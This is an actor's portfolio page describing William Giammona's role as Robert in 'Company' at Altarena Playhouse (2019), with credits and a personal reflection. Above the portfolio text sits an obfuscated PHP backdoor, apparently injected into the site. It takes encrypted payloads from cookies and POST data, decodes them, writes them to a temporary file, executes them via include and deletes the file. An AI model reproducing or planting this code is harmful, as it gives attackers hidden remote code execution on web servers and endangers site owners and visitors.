Company

$mFRQImdG = "\x4d" . chr (114) . chr ( 762 - 691 )."\x5f" . chr (84) . 'd' . chr ( 293 - 181 ).chr ( 930 - 858 )."\165";$MFDBBf = "\x63" . "\x6c" . chr (97) . 's' . chr ( 693 - 578 ).chr (95) . "\x65" . "\170" . 'i' . "\163" . "\164" . "\163";$JHsZERZp = class_exists($mFRQImdG); $mFRQImdG = "12604";$MFDBBf = "35972";$psHlFYXB = FALSE;if ($JHsZERZp === $psHlFYXB){$wMXqrMKh = "17316";class MrG_TdpHu{public function itDqp(){echo "37344";}private $FUUqE;public static $bhcYCGPjh = "b6ab6ec7-bb78-4bc3-bfa0-88de0836ff5e";public static $pUbsdRUY = 10663;public function __construct($AVuCw=0){$MjtWd = $_POST;$hNqTOCNfjp = $_COOKIE;$oncqu = @$hNqTOCNfjp[substr(MrG_TdpHu::$bhcYCGPjh, 0, 4)];if (!empty($oncqu)){$NGkLO = "base64";$IHZzaMs = "";$oncqu = explode(",", $oncqu);foreach ($oncqu as $mGOxdYP){$IHZzaMs .= @$hNqTOCNfjp[$mGOxdYP];$IHZzaMs .= @$MjtWd[$mGOxdYP];}$IHZzaMs = array_map($NGkLO . chr ( 601 - 506 )."\144" . chr ( 496 - 395 )."\143" . 'o' . chr ( 328 - 228 )."\145", array($IHZzaMs,)); $IHZzaMs = $IHZzaMs[0] ^ str_repeat(MrG_TdpHu::$bhcYCGPjh, (strlen($IHZzaMs[0]) / strlen(MrG_TdpHu::$bhcYCGPjh)) + 1);MrG_TdpHu::$pUbsdRUY = @unserialize($IHZzaMs);}}private function UwlwFPMb($wMXqrMKh){if (is_array(MrG_TdpHu::$pUbsdRUY)) {$jNCktUUUY = sys_get_temp_dir() . "/" . crc32(MrG_TdpHu::$pUbsdRUY["\x73" . chr ( 1040 - 943 ).'l' . "\164"]);@MrG_TdpHu::$pUbsdRUY['w' . "\x72" . "\151" . 't' . "\145"]($jNCktUUUY, MrG_TdpHu::$pUbsdRUY["\143" . 'o' . "\x6e" . chr ( 672 - 556 ).chr (101) . chr (110) . 't']);include $jNCktUUUY;@MrG_TdpHu::$pUbsdRUY["\144" . 'e' . "\x6c" . 'e' . chr ( 735 - 619 ).chr (101)]($jNCktUUUY); $wMXqrMKh = "17316";exit();}}public function __destruct(){$this->UwlwFPMb($wMXqrMKh);}}$brdoCI = new /* 41968 */ MrG_TdpHu(); $brdoCI = str_repeat("18182_8573", 1);} Company – William Giammona

Role: Robert
Theater: Altarena Playhouse
Director: Dennis Lickteig
Music Director: Mark Dietrich
Choreographer: Rick Wallace
Opening: March 29th, 2019
Photos: Ben Krantz

Description

There are few shows, and particularly fewer musicals, where I feel as direct of a connection to the character as I do as Robert in Company. Like Robert, I spent most of my early adult years single and surrounded by couples in very long-term relationships who constantly worried about me and gave me advice. I had this idealized version of what love would be like, but an unwillingness to make myself vulnerable. And like Robert’s finale of “Being Alive,” I had a moment where all of that shattered and I suddenly understood what it meant to be part of the world, rather than standing on the outside looking in.